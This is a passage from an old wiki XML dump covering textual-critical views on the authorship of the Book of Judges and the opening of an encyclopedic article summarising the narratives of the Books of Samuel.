*[[Gibeah and the Levite Concubine]] (19-21)

==Authorship==
While the authorship of Judges has traditionally been ascribed to [[Samuel]], the great majority of modern scholars have come to a much more complex conclusion, regarding the work as having hardly any literary unity at all. Many suspect the brief [[Book of Ruth]] to have originally been part of the ''Appendices'' of Judges, owing to its style, linguistic features and the time period in which its contents are set, it somehow becoming disconnected and misplaced at a later date. 

According to [[textual criticism]], the majority of Judges was originally part of a continuous work known as the [[Deuteronomic History]] stretching from [[Deuteronomy]] to [[2 Kings]], which was later broken up, in accordance with the [[documentary hypothesis]], when the Torah was constructed by [[torah redactor|its redactor]] from the early parts of the Deuteronomic History and other writings such as [[JE]] and the [[Priestly source]]. It is for this reason that many textual critics also treat [[1 Samuel]] 1:1-7:2, which discuss [[Eli]] and [[Samuel]], as having originally been part of the Judges section of the Deuteronomic History narrative.

===The introduction===
Some passages (1:12-15, 2:6-9 and 3:7-11) of the introduction are almost identical to ones in the Book of Joshua. On the other hand, part of the text which surrounds them (1:1-11, 1:16-2:5) instead presents a summarised overview of the events in Joshua, recording differing traditions, such as that concerning Adonibezek (c.f. Joshua 10), or those concerning the continuing presence of Jebusites in Jerusalem ''to this day'' (1:21) or not (1:8). For those who support [[Hexateuch]]-like theories, where the sources that the documentary hypothesis ascribes to the Torah extend through the Book of Joshua, these passages are often seen as deriving from such sources parallel to the corresponding ones of Joshua.

The majority of critical scholars believe that that first part of the introduction (1:1-2:5) was a late addition to the text, added after the [[Deuteronomist]] version of Judges was constructed. Hence 2:6-3:7 is viewed as the original introduction by the Deuteronomist to the Judges period, spinning the later stories to imply that the history of the period involved the Israelites repeatedly turning to worship of other gods, suffering for it, and being alleviated of their suffering by five great leaders, and Abimelech; whereas the original source texts were independent and without the Deuteronomist's alterations, some could be regarded as parallel local events rather than sequential national ones. 

===The main text===
The text is believed under textual criticism to contain further compositional structure. The Deuteronomist here is believed to have combined together six earlier separate texts, one for each of the five ''Great Judges'' and one for Abimelech - Ehud (3:11, and 3:13-29), Deborah (4:1b-5:31), Gideon (6-8), Abimelech (9:1-57), Jephthah (11:1-12:7), and Samson (13:2-16), adding passages to join them together (4:1a, 8:29-31, 10:17-18, and 13:1), sometimes interrupting the narrative to do so. 

The text is believed to have been further altered by the (possibly later) addition of passages concerning ''Minor Judges'' (10:1-5 and 12:8-15) in order to make the total number of Judges a more religiously significant number, harmonizing them chronologically so that the total number of years of their reign (71) is close to the number of years of oppression under the ''Great Judges'' (70). The presence of 3:31, placing Shamgar in the list of Judges, is believed to be a later recension, created in order to remove Abimelech from being counted amongst the Judges without disturbing the total number, in order that someone so apparently wicked not taint the role, the name coming from 5:6.

Three of these six earlier texts each contain partly duplicate accounts:
*Judges 4 is believed to be based on two separate stories, one based on the ancient [[Song of Deborah]] (Judges 5) concerning Sisera, the other a story concerning Jabin, which had merged together when Barak of Issachar (identified at 5:15 as the one who defeats Sisera) was confused with Barak of Naphtali (identified at 4:5 as the one who defeats Jabin), and consequently Sisera is reinterpreted in Judges 4 as Jabin's general rather than as the chief of a confederation (as in Judges 5)
*Although difficult, to a degree, to separate, there are considered to be two distinct interwoven narratives about Gideon; the first narrative (which includes at least 6:2-6, 6:11-24, 6:33-35, 7:1, and 7:9-25) describing a surprise assault on the Midianites on Mount Gilboa with the fugitive Kings Oreb and Zeeb being killed, and the second narrative (which includes at least 6:7-10, 6:25-32, and 6:36-40, and 8:4-27) discussing Gideon capturing the fugitive Kings Zebah and Zalmunna.
*The narrative of Judges 9, concerning Abimelech, is thought not to have originally contained the parable of Jotham (9:7b-20), it being inserted into the story at a later date. However, the parable itself is believed to be earlier than the rest of the narrative, which is thought to be at least partly based upon it.

In addition, the Samson narrative (13-16) contains two distinct cycles; the first a series of tableaux concerning his romance of a Philistine woman and subsequent problems arising from it; the second is the tale of his relationship with Delilah, which begins with him standing between two gateposts at dawn, and ends with him standing between two temple pillars in the evening. Though these two cycles may have been collected separately from each other, textual criticism favours the view that the whole Samson narrative originates from one author. That the narrative of Samson is easily broken into 12 episodes is considered to be a deliberate literary conceit, owing to the significance of the number 12 to the Israelites.

In addition to such parallel narratives, the story of Jephthah (11:1-12:7) is often suspected to have been subject to later editing in three locations, though the reasons for the first two are not at all clear
*According to 11:1-2, it is Jephthah's own brothers which expelled him, whereas according to 11:7 it is the elders of Gilead
*The message to the Ammonites at 11:12-27 is written as if directed at Moabites.
*11:35-40 has the appearance of abridging a more extensive original text, glossing over the existence in the text of human sacrifice to Yahweh, which is mentioned fairly obviously at 11:31

===The appendices===
The Appendices cover two stories from the time of the Judges, rather than Judges themselves, and so only have contextual relationship in passing with the remainder of the work. Perhaps the most unusual aspect of the Appendices is that they cover events occurring at the start of the period of Judges not at its end, and so, chronologically, belong before the remainder of the book, not after it. Even more noticeable is that the narrative preceding the Appendices continues in 1 Samuel, as if the interruption due to the narrative of the Appendices were simply not present. Hence scholars view the Appendices as texts that were not originally present but later added due to the shared time frame, though the reason they were inserted at the end rather than the beginning is fairly unknown.

The story of Micah and his Idols (17-18) is thought by some scholars (e.g. Bertheau, Budde, Kittel, and [[Carl Heinrich Cornill]]) to be composed from two distinct accounts, one recording Micah making an Ephod and Teraphim and hiring a Levite to be &quot;father and priest&quot;, the other recording Micah making a graven image and a molten image and hiring a Levite as a priest who he treated as a son. Were this to be the case, it may indicate that at least part of the Appendices could be considered further continuations of the Jahwist, Elohist, or Priestly sources, hence explaining their origin. However, other critical scholars have proposed that such discrepencies may simply be due to later scribal interpolations. The story is significantly notable as it describes a cult and priesthood at Dan which is mentioned nowhere else in the entire [[Hebrew Bible]], and hence is considered to be based on a particularly early source, prior to later recensions glossing over cult centres of Yahweh outside Jerusalem and Shiloh.

The other story of the appendices (19-21), concerning the Levite and his concubine, is thought to date from a similarly early era based on linguistic similarities to the first appendix. However, as everyone in the story is anonymous, except Phinehas, has lead many Biblical critics to regard the story as fictional. Nevertheless, Hosea (10:9) says that &quot;...since the days of Gibeah, you have sinned, O Israel...'', evidencing at least the presence of traditions resembling parts of the story, though some scholars, beginning with Noldeke, believe the story is actually based on something from a slightly later time period - the ruining of the tribe of Benjamin by the war between David and the son of Saul.

==See also==
*[[Tanakh]]
*[[Bible]]
*[[Biblical canon]]
*[[Documentary hypothesis]]
*[[Deuteronomic Cycle]]

==External links==
*Original text:
** [http://www.mechon-mamre.org/p/pt/pt0701.htm &amp;#1513;&amp;#1468;&amp;#1473;&amp;#1465;&amp;#1508;&amp;#1456;&amp;#1496;&amp;#1460;&amp;#1497;&amp;#1501; - ''Shoftim'' - Judges] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et0701.htm Judges at Mechon-Mamre] (Jewish Publication Society translation)
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15750 Shoftim - Judges (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org
*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/07_judges.htm Judges at The Great Books] (New Revised Standard Version)
** [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;version=NIV&amp;passage=judges Judges at Bible Gateway] (Various versions)
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Judges Judges at Wikisource] (Authorised King James Version)
*Articles:
** [http://www.jewishencyclopedia.com/view.jsp?artid=689&amp;letter=J&amp;search=Judges Book of Judges article] (Jewish Encyclopedia)
** [http://www.kingscalendar.com/cgi-bin/index.cgi?action=viewnews&amp;id=164 The King's Calendar: The Secret of Qumran] (Chronology for Israel's Period of the Judges 1412 BCE to 1039 BCE)

{{eastons}}

[[Category:Judges of ancient Israel|**]]
[[Category:Nevi'im|*]]
[[Category:Old Testament books|Judges]]

[[bg:Книга на съдиите]]
[[ca:Llibre dels Jutges]]
[[cs:Kniha Soudců]]
[[de:Buch der Richter]]
[[es:Jueces]]
[[fi:Tuomarien kirja]]
[[fr:Livre des Juges]]
[[he:ספר שופטים]]
[[id:Hakim-Hakim]]
[[ja:士師記]]
[[jv:Para Hakim]]
[[ko:판관기]]
[[nl:Richteren]]
[[no:Dommernes bok]]
[[pl:Księga Sędziów]]
[[pt:Juízes]]
[[sk:Sudcovia]]
[[sv:Domarboken]]
[[zh:士師記]]
[[zh-min-nan:Sū-su-kì]]</text>
    </revision>
  </page>
  <page>
    <title>Books of Samuel</title>
    <id>4378</id>
    <revision>
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      <timestamp>2006-02-23T23:08:04Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
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      <minor />
      <comment>sp (9): an pro→a pro, criticists→critics, independant→independent, preceeded→preceded, pursuaded→persuaded, pursuades→persuades, pursuade→persuade, reknowned→renowned, sucessfully→successfully; unicodify</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''Books of Samuel''', also referred to as '''[The Book of] Samuel''' ([[Hebrew language|Hebrew]]: שְׁמוּאֵל), are part of the [[Tanakh]] (part of [[Judaism]]'s [[Hebrew Bible]]) and also of the [[Old Testament]] (of [[Christianity]]). The work was originally written in [[Hebrew language|Hebrew]]), and the ''Book(s) of Samuel'' originally formed a single text, as they are often considered today in Hebrew bibles, referred to as ''Sefer Shmuel''. 

Together with what is now referred to as the ''[[Books of Kings|Book(s) of Kings]]'', the translators who created the [[Greek language|Greek]] [[Septuagint]] divided the text into four books, which they named the ''Books of the Kingdoms''. In the [[Latin]] [[Vulgate]] version, these then became the ''Books of the Kings'', and what we now know as ''1 &amp; 2 Samuel'' were referred to as ''1 &amp; 2 Kings'', with ''3 &amp; 4 Kings'' being what we now call ''1 &amp; 2 Kings''.

== The contents of the books ==
The two books can be essentially broken down into five parts:
*The period of Yahweh's rejection of [[Eli]], [[Samuel]]'s birth, and subsequent judgement (1 Samuel 1:1-7:17)
*The period of the life of [[Saul]] prior to meeting [[David]] (1 Samuel 8:1-15:35)
*The period of Saul's interaction with David (1 Samuel 16:1-2 Samuel 1:27)
*The period of David's reign and the rebellions he suffers (2 Samuel 2:1-20:22)
*An appendix of material concerning David in no particular order, and out of sequence with the rest of the text (2 Samuel 2:21:1-25)

A conclusion of sorts appears at [[1 Kings]] 1-2, concerning [[Solomon]] enacting a final revenge on those who did what David perceived as wrongdoing, and having a similar narrative style. While the subject matter in the Book(s) of Samuel is also covered by the narrative in [[Chronicles]], it is noticeable that the section (2 Sam. 11:2-12:29) containing an account of the matter of [[Bathsheba]] is omitted in the corresponding passage in 1 Chr. 20.

;The period of Samuel's birth and judgement involves
*'''Story of [[Eli]]''' (portions of 1 Samuel 1:1-4:22) - Eli's sons are the priests at [[Shiloh]], but they abuse their position. A ''man of God'' comes to Eli and tells him that owing to this behaviour, Yahweh has revoked his promise of perpetual priesthood for his family, and Eli's sons will die on the same day. Samuel confirms that there is no way for them to avoid the fate. His son's duly die on the same day during a battle, and Eli drops dead from shock. 

*'''Story of [[Hannah]]''' (remainder of 1 Samuel 1:1-1:28) - Hannah is childless, but then makes a vow promising that if she has a son, he will be dedicated to God and be a [[Nazarite]]. Eli blesses her and a child is soon born. The child is identified as [[Samuel]], though many modern academics think this is a later edit to the story and it was originally the birth narrative of [[Saul]].

*'''[[Song of Hannah]]''' (1 Samuel 2:1-10) - Hannah pronounces a poem concerning Yahweh's magnificence that has strong similarities to the later [[Magnificat]]

*The '''[[Philistine captivity of the Ark]]''' (1 Samuel 4:1-7:1) - The philistines attack [[Ebenezer]] and capture the ark, taking it to their temple to [[Dagon]]. Eli's daughter in law drops dead from shock, but first goes into labour and gives birth to a child named [[Ichabod]] (''without glory''). The next morning, the Dagon statue is found prostrate before it, so they adjust it, but the morning after it is found broken into pieces. The town surrounding it falls victim to a plague, so the Philistines resign themselves to get rid of the ark, first sending it on to [[Gath]], and then to [[Ekron]], both of which fall victim to the plague. On the advice of fortune tellers, the Philistines put the ark, and additional offerings, on a cow driven cart, and send it off, driverless, it getting to [[Beth Shemesh]]. The locals celebrate, and ask the people of [[Kiriath-jearim]] to collect the ark, which they do, taking it to the house of [[Abinadab]].

*'''The [[battle of Ebenezer]]''' (1 Samuel 7:3-14). The Philistines attack the Israelites who have gathered at Mizpah. Samuel appeals to Yahweh, and so the Philistines are decisively beaten. Samuel sets up a stone at Ebenezer in memory. The Israelites then attack Ekron and Gath, freeing the people, and make peace with the Amorites.

;The period of Saul's life before he meets David involves:
*'''The [[Saul's appointment|appointment of Saul]]''' (1 Samuel 8:1-11:15) - In Samuel's old age, he appoints his sons as Judges, but they don't follow his example, so the people clamour for a king. God begrudgingly acceeds and Samuel gives the people a list of regulations about the king. Meanwhile, Saul, who is handsome, is searching for the donkeys of his family and when his search takes him to [[Zuph]], he seeks out the wise man who lives there, on the advice of his servant and some girls. Samuel comes toward Saul as he enters the town, and realises that Saul is the man that God has chosen to be king, so he is hospitable to him. The next day, Samuel anoints him, and gives three prophecies of events on Saul's journey home. The third prophecy, that Samuel will meet a band of prophets preceded by musical instruments, comes true, leading to the phrase ''Is Saul among the Prophets'' (cf. 1 Samuel 19:24). After calling the people together at Mizpah, Samuel whittles them down by lot to Saul, and announces that he is king. Saul tries to hide but is much taller than everyone else. Some people criticise the decision.

*'''The story of [[Nahash]]''' (1 Samuel 11:1-11) - Nahash, an [[Ammonite]], lays siege to [[Jabesh-gilead]], so its people request a treaty, but Nahash is harsh and requires that each person must have their right eye gouged out. The people consequently stall for time, while sending messengers out to get help. After hearing of this, Saul orders the people of Israel to join him in an attack on Nahash, and threatens them with violence if they do not. Saul consequently gathers an army and attacks that of Nahash, obliterating it. The people take this as evidence of Saul's ability to lead, and so consequently they are told by Samuel to appoint him king, which they do.

*'''[[Saul's rejection]]''' (1 Samuel 12:1-13:15, and 15:1-35) - Samuel gives a speech reminding the Israelites not to fall into heathenism like their previous generations have done. The Hebrews/Jonathan (depending on the text - [[Masoretic text|Masoretic]] has ''Jonathan'', [[Septuagint]] has ''Hebrews'') overcome the Philistines in Gibeah. Saul sounds the trumpet to tell all Israel that he (Saul) has overcome the Philistines there. The Philistines assemble for battle, frightening the Israelites, but, in accordance with Samuel's instructions, Saul waits seven days for Samuel to arrive, before giving up his wait and making a sacrifice. Samuel turns up and castigates Saul for not waiting, telling him that as a result his kingdom will not last. Saul, successful and brave, defeats Amalek. Samuel orders Saul to exterminate [[Amalek]], but although Saul subsequently slaughters the Amalekites, he doesn't slaughter the animals, and captures the king, [[Agag]], alive. Saul also erects a ''trophy'' at Carmel in his own honour. Samuel berates him for not carrying out the mass extermination completely, so Saul repents and begs Samuel to go with him. Samuel refuses, and leaves, but Saul grabs at him, tearing part of Samuel's mantle, for which Samuel says that part of Saul's kingdom will be torn off and given to another. Samuel kills Agag himself, by hacking him into pieces (''wa-yeshassef'').
*'''The [[Battle of Michmash]]''' (1 Samuel 13:16-14:46) - While Saul and his son occupy Geba, the philistines raid the nearby land. Previously, the Philistines had ensured that there were no smiths in the land, causing the people of Israel to be devoid of weaponry, excepting Saul and Jonathan. Jonathan secretly heads to the Philistine outpost at [[Michmash]] with his armour bearer, first crossing a ravine, and manage between them to slaughter large numbers of Philistines who panic and scatter. Saul notices and eventually sends his army to help. The Hebrews were previously on the Philistine side (some translations add the words ''some of'', making this refer only to a sub group of Hebrews), but decide to join the forces of Israel. In a moment of foolishness, Saul curses anyone that eats anything before the evening, but Jonathan doesn't notice and consumes some honey he finds. This rapidly leads to others following suit, and ignoring Saul's curse. Saul builds an altar, insisting that it be used to sacrifice before the food is eaten, and condemns the whomever God decides is at fault, for violating his curse, to death. Saul uses [[Urim]] and [[Thummim]] to find out that God has pointed the finger at Jonathan, so reluctantly condemns him, but the army say they will revolt if Saul kills him, so he doesn't.
;The period of Saul's interaction with David involves:
*'''[[David's rise from obscurity]]''' (1 Samuel 16:1-17:58) - Samuel is told to go to [[Bethlehem]] by Yahweh, to find a replacement for Saul. Each of the sons of [[Jesse]] are rejected in turn, except [[David]], the youngest, whom Samuel is told to anoint. A demon is sent by Yahweh to torment Saul, so Saul's servants try to find a [[harpist]] to sooth his temper. David is known for his skill in the art and so is brought to court. The Philistines rally against Israel, and the, imposing, [[Goliath]] of [[Gath]] steps out and suggests that rather than fight a battle, the Israelites should just send a champion to fight him. David, who is bringing provisions to his brothers in Israel's army, speaks against Goliath to his brothers, and Saul overhears him. David persuades a reluctant Saul to let him challenge Goliath. David kills Goliath with a single stone from a [[sling shot]], and so the philistines flee.

*'''Details of [[David in Saul's court]]''' (1 Samuel 18:1-20:42) - [[Jonathan]] takes a shine to David, and since David succeeds in everything Saul tasks him with, women praise David as greater than Saul. To get rid of this perceived threat, Saul promises David the hand of his daughter, [[Merob]], in marriage if he becomes Saul's champion, but Merob is married off to someone else before David accepts. Saul notices that [[Michal]], his other daughter, is in love with David, so, in order to send him on to his death, offers her to him in exchange for 200 foreskins of the Philistines, but David successfully kills 200 Philistines, so weds Michal. Saul talks to Jonathan about his plans to kill David, but owing to [[David and Jonathan|Jonathan's relationship with David]], Jonathan disuades Saul and informs David. While David is in Saul's court, Saul throws a spear at David, but misses. Saul then sends guards to David's house, but Michal makes David escape, and places a statue in the bed and pretends to the guards that it is him. On discovering David's location, Saul sends out successive guards, but they all meet a group of prophets and join them instead, as does Saul when he eventually decides to go himself, hence the phrase ''Is Saul among the prophets?'' (c.f. 1 Samuel 10). David then meets Jonathan and asks him to secretly find out Saul's intentions, but Saul tells Jonathan that he knows that Jonathan is David's ''companion'', and that he intends to kill David. Jonathan is so hurt that he stops eating, and then later goes off to tell David.

*'''The story of [[Ahimelech]]''' (1 Samuel 21:2-9, and 22:6-23) David flees to Ahimelech, priest of Nob, who only has holy bread. As David abstains from the company of women on such journeys, Ahimelech allows David to take the bread, and Goliath's sword which Ahimelech had been keeping. David then flees. Saul's chief henchman, Doeg, witnessed Ahimelech assisting David, so Saul has Doeg kill him, and all the people in Nob, though Ahimelech's son, Abiathar, escapes to tell David. 

*'''[[Saul's pursuit of David]]''' (1 Samuel 22:1-5, and 23:1-28) David has fled to the cave of [[Adullam]], where he amasses a band of outlaws. David decides to leave his parents in the care of the king of Moab, where the prophet, Gad, tells him to flee, so David moves to the forest of Hereth. The people of Keilah are attacked by the Philistines so David rescues them, but Saul hears of it and sets out against him, so David flees. Jonathan briefly visits David at Horesh, and returns home. The people of Ziph tell Saul where David is, so Saul chases David into a gorge, but is forced to break off pursuit when the Philistines invade elsewhere and he must fight them. The gorge becomes known as [[Sela-hammahlekoth]] (''gorge of divisions'')

*'''[[David's reconciliation with Saul]]''' (1 Samuel 24:1-25:1a, and 26:1-27). David hides in the caves near Engedi, and Saul hears of this and pursues him. Saul enters the cave where David hides, and David sneaks up on him and cuts off the end of his mantle (coincidentally, Saul has also done this to Samuel, above). As Saul has been anointed, David regrets this, and forbids his men from harming Saul, and then steps out of the cave to show himself. David convinces Saul that he isn't a threat, and the two reconcile. The two depart from one another, and Samuel dies. Men from Ziph tell Saul that David is hiding at Hachilah, so goes to search for him. David, and Abishai, sneak into Saul's camp and steal Saul's spear. They then go a long way away and shout back what they have just done, and persuade Saul that David isn't a threat, the two consequently being reconciled.

*'''The story of [[Abigail]]''' (1 Samuel 25:1b-43) - David tries to get hospitality from a man at [[Maon]], named [[Nabal]], who owns property in [[Carmel]], but Nabal is miserly and refuses. Angered, David prepares to attack Nabal and kill those surrounding him. Nabal's clever and pretty wife, Abigail, sends David provisions, causing David to relent. She tells Nabal, once he has sobered up, and Nabal is soon after struck dead by Yahweh. David thus proposes marriage to Abigail, who accepts. David also marries Ahinoam of Jezreel, though meanwhile Michal, his original wife, is transferred by Saul to another man, [[Palti]].

*'''The story of [[Achish]]''' (1 Samuel 21:10-16, 27:1-28:2, and 29:1-11) - David decides that it is better to be on the safe side, and so choses to reside amongst the Philistines, staying with the king of Gath, Achish. Previously David had briefly fled to Achish having left Ahimelech, where he feigned insanity to avoid attracting attention, but this time he lets Achish realise that he is an enemy of Saul. However, David continues to make raids against the surrounding population, slaughtering everyone he meets so that none will tell Achish what he has done. When he brings back spoils, he tells the king of Gath that he has raided against some foreign group or the Israelites or Judah. Achish trusts him implicitly, and so requests that David join him in an attack on Jezreel. The Philistines encamp against the Israelites, but are curious why the Hebrews (some translations have &quot;some of the Hebrews&quot;) are amongst the Philistines. Uneasy about David's presence they tell Achish to send him away, and so Achish reluctantly does so.

*'''The [[Witch of Endor]]''' (1 Samuel 28:3-25) - Samuel dies (c.f. 1 Samuel 25), and Saul sees the Philistines encamping at Shunem, and is disheartened. Saul tries to consult God for advice but receives no reply, and as he has banned necromancy and prophecy, in accordance with the [[mitzvah]], he is forced to disguise himself and go to the Witch of Endor. He asks her to bring up Samuel from the dead, which she does, and Samuel admonishes Saul for acting this way, and tells him that owing to Saul's past failure to commit complete genocide regarding Amalek, Saul is already condemned. Saul becomes deeply shaken, and refuses to eat, but is eventually persuaded.

*'''The story of [[Ziklag]]''' (1 Samuel 30:1-31) - Ziklag is burnt to the ground by the Amalekites, though they take the people, including David's wives, captive. David and his men therefore set off in pursuit, though some give up on the way. The men meet a slave of the Amalekites who has escaped and who leads them to the Amalekite raiders. David slaughters all but 400 of the raiders, and recovers his property and wives, as well as extra spoil which he divides amongst his followers, except those that gave up, and sends a portion of the spoil to Judah, city by city.

*'''The [[death of Saul and Jonathan]]''' (1 Samuel 31:1-2 Samuel 1:27) - the Philistines attack the Israelites at Gilboa, and kill Jonathan and inflict a mortal wound on Saul. Saul asks his armour bearer to finish him off, who does so and then kills himself. The Philistines cut the bodies into pieces, displaying them on the wall of [[Bethshan]], though the inhabitants of [[Jabesh-gilead]] later rescue the bodies, cremating them and burying the bones under a tamarisk tree. An Amalekite comes to David and tells him that Saul and Jonathan are dead, and that Saul was mortally wounded and asked him to finish him, so he did so. David is incenced and orders the Amalekite to be killed, delivering a eulogy about Jonathan and Saul, which is recorded in the [[Book of Jasher]].

;The period of David's reign involves:
*'''The story of [[Ishbaal]]''' (2 Samuel 2:1-3:1, 3:6-4:3, and 4:5-5:5) David is anointed king in Hebron, but only over Judah. Saul's son, Ishbaal, is taken by Abner to [[Mahanaim]] and appointed king of Israel. The two sides meet at Gibeon and stage some form of activity between 12 men on each side, thrusting swords into their opponents, hence the place became known as [[Helkath-hazzurim]] (''field of sides''). After a fierce battle, David's side wins. Asahel, brother of Joab, David's commander, sets out after Abner, but Abner twice tells him to stop, but since he doesn't listen, Abner thrusts his javelin into Asahel, who dies. Joab continues the chase as far as Ammah, where Abner warns him to stop to avoid more bad blood, so Joab stops the pursuit. However, there was a war between the two groups that lasted for ages with David's side gradually winning. Abner is intimate with Rizpah, one of Saul's concubines, angering Ishbaal. Abner decides to change sides, and brings Michal back to David, sending Paltiel, her other husband, back home weeping. Abner persuades the elders of Israel to change to David's side as well. When Abner arrives in David's court, Joab secretly follows him, and stabs him in revenge for killing his brother. David however curses Joab for this, and sings a eulogy to Abner. Ishbaal is killed in his sleep by his own leaders, the sons of Rimmon, who cut off his head and take it to David, but David has them killed for killing a king. David is anointed King of Israel in Hebron.

*'''A list of the [[sons of David]]''' (2 Samuel 3:2-5 and 5:13-16) - During Ishbaal's rebellion, David has some children. Later, David takes more concubines and has further children.

*'''The [[conquest of Jerusalem]]''' (2 Samuel 5:6-12, and 5:17-7:29) - David sets out for Jerusalem, and manages to take the stronghold of [[Zion]]. Since he was told by the Jebusites that the blind and the lame would turn him away, he makes the blind and the lame his personal enemy. David instructs his people to attack the Jebusites via the water shaft. [[Hiram]], king of Tyre, sends master craftsmen to David to build him a palace, and David also builds up the area surrounding it. The Philistines attack, overrunning the valley of Rephaim, but he defeats them at a place that becomes known as [[Baal-perazim]] (''lord of scatterings''). The second attack by the Philistines is defeated when David approaches via the rear, and they are routed. David then requests the Ark be moved to Jerusalem, but when it reaches Nodan it is unsteady, and [[Uzzah]] puts his hand on it to steady it, but is struck dead for this by God. David becomes more cautious and leaves the ark with [[Obed-edom]] for three months, though noting Obed-edom's subsequent good fortune, brings the Ark to Zion. David joins the subsequent celebrations, but is castigated for doing so by Michal, who accuses him of exposing himself, and hence Michal is made permanently infertile by God. David asks Nathan whether the Ark should be housed in grander settings, but Nathan tells him that where it is fine for the moment and prophecies that one of David's sons will be the one to build a new home for it.

*'''The story of [[David's vassal states]]''' (2 Samuel 8:1-15) - David attacks the Philistines, taking their ''[[methegammah]]'' (literally ''bridle of the cubit'' though many translations render this as ''chief cities''). David also defeats Moab and executes a proportion (either 1/3 or 2/3) of their entire population, making Moab a vassal. David then defeats [[Hadadezer]], and though the Aramaeans come to Hadadezer's aid, David slaughters them, making the Aramaeans vassals. King Toi of Hamath, Hadadezer's enemy, congratulates David and adds to his spoils of precious metals. On his return (from an unspecified location), David becomes famous for slaughtering 18,000 Edomites, whereupon Edom becomes a vassal state. 

*A '''list of [[officers in David's court]]''' (2 Samuel 8:16-18, and 20:23-26) - A list of officers in David's court is given on two occasions. The list includes the head of the army, chancellor ([[Jehoshaphat]]), master of the slaves, and commander of foreign troops, as well as the two priests - [[Zadok]] and [[Abiathar]], David's personal priest - [[Ira]] the [[Jairite]], and the name of a scribe - [[Shawsha]]. 

*'''The story of the [[mercenaries of the Ammonites]]''' (2 Samuel 10:1-19) - The king of the Ammonites dies, and is succeeded by Hanun, so, reflecting the prior king's kindness to David, David sends messengers to Hanun to give his condolences. However, they are interpreted by Hanun as spies, so he has the base of their beards cut off, and the base of their garments below their buttocks, giving them a babylonian appearance. When they return, David tells them to wait in Jericho until their beards grow. The Ammonites then prepare for war, and hire a mercenary army from [[Aram]], [[Tob]], and [[Maacah]], but it doesn't reach the Ammonites before David's army are too close. Joab splits David's army into two groups, one to attack the Aramaeans, and one to attack the Ammonites. The Aramaeans flee before David's army, and so the Ammonites, now without help, withdraw. Hadadezer hires Aramaeans that live beyond the Euphrates, and they attack the Israelites at Helam. Shobach, Hadadezer's general, is defeated and killed, and so Hadadezer's vassal states decide to become David's vassals instead.

*'''The story of [[Bathsheba]]''' (11:1-12:31) David sends his army to besiege [[Rabbah]]. From his rooftop, he spots a pretty woman, and later finds out that she is Bathsheba, the wife of [[Uriah]], Joab's armour bearer. David has ''relations'' with her, and she becomes pregnant, so he orders Uriah to be placed in the heaviest part of the fighting, and for the army to draw back from him. Uriah is consequently killed by an archer, and David marries Bathsheba. Nathan, a prophet, tells David a parable, asking him for an analysis. When Nathan reveals that the parable describes his actions over Uriah, David realises that by his analysis he has condemned himself. Nathan tells him that the house of David will be cursed with always falling victim to the sword. More directly, Bathsheba's child dies as punishment. David has ''relations'' with her again, and she has a son that she names ''[[Solomon]]'', but Nathan names Jedediah. Joab finally captures Rabbah and the bejewelled crown of [[Milcom]] is taken and given to David for his own head.

*'''The rape of [[Tamar]]''' (13:1-14:33). David's son, Amnon, becomes lovesick for his half-sister, Tamar. His cousin advises him to feign illness and have Tamar be his sick nurse, which he does. Pursuading Tamar to feed him at his bedside, Amnon rapes her. Tamar complains to her brother, Absalom, but as Amnon is his eldest son, David won't do anything. Absalom holds a party and invites all the princes, and Amnon is sent there on David's behalf. When Amnon becomes drunk, he is killed by Absalom's servants, under the order of Absalom. The princes flee back to David, and Absalom flees to the king of Geshur. Over time, David becomes reconciled to Amnon, and so Joab hatches a plan. Joab gets a woman to visit David and feign sorrow about a situation that mirrors that of David, tricking him into acknowleding that Absalom should be brought back and not harmed. When Absalom is brought back, David orders him to remain in his own home, but Absalom keeps asking Joab to see David. Joab doesn't respond so Absalom sets Joab's field on fire, and when Joab turns up, persuades him to let him see David, who becomes reconciled to Absalom.

*'''The rebellion of [[Absalom]]''' (15:1-37, 16:5-19:24, and 19:32-41) - Absalom builds up a gradual following, eventually having enough supporters that he plans a [[coup]] against David. An informant tells David, who tells his supporters to flee Jerusalem to the Mount of Olives. At the Mount of Olives, David tells his foreign mercenaries to go back to Jerusalem as they owe no allegiance, but they insist on going with David. David also sends back [[Zadok]] and Abiathar, the priests, and his friend, Hushai, to act as an informant. A man, [[Shimei]], throws stones at David and curses him, so Abishai asks David to kill Shimei, but David won't let him, claiming that Yahweh has made Shimei do this. On the advice of Ahithophel, Absalom has ''relations'' with David's concubines, on his roof, so that the whole nation can see his contempt for David. After receiving counsel from both Ahithophel and Hushai, Absalom chooses Hushai's plan to send all Israel to attack David over Ahithophel's, so Ahithophel commits suicide in shame. Hushai sends word to David of the plan via spies hidden in a cistern at [[En-rogel]]. Absalom sends his army across the Jordan, and David prepares his own troops, asking that Absalom be treated gently. A huge battle erupts between the armies in the forests near Mahanaim, but while riding on his mule, Absalom gets caught in a tree by his hair, and is stuck hanging there. Although the first people from David's side to discover Absalom like this refuse to harm him, owing to David's request, Joab has no such qualms and kills Absalom. David becomes extremely upset, but pulls himself together and returns victorious to Jerusalem, accompanied by Judah.

*'''The story of [[Meribbaal]]''' (2 Samuel 4:4, 9:1-13, 16:1-4, and 19:25-31) - Jonathan had a son named Meribbaal, who was 5 when Jonathan and Saul were killed. When she heard the news of this, Meribaal's nurse took him and fled, but he fell and became crippled. In memory of Jonathan, David shows Meribbaal kindness, gives him Saul's lands, and lets him dine at David's table. He also tells [[Ziba]], a servant of Saul, that Ziba, and his family, must now serve Meribbaal. During Absalom's revolt, Meribbaal remained in Jerusalem, Ziba telling David that this was because Meribbaal hoped that the people of Israel would restore him to his father's throne. Meribbaal doesn't wash his feet, or his clothes, or even trim his moustache, until David returns to the throne in Jerusalem. On meeting David, Meribbaal tells him that Ziba was lying about his motive for remaining, and reminds David that Meribbaal is lame. David doesn't care, and orders Meribbaal to split his property with Ziba.

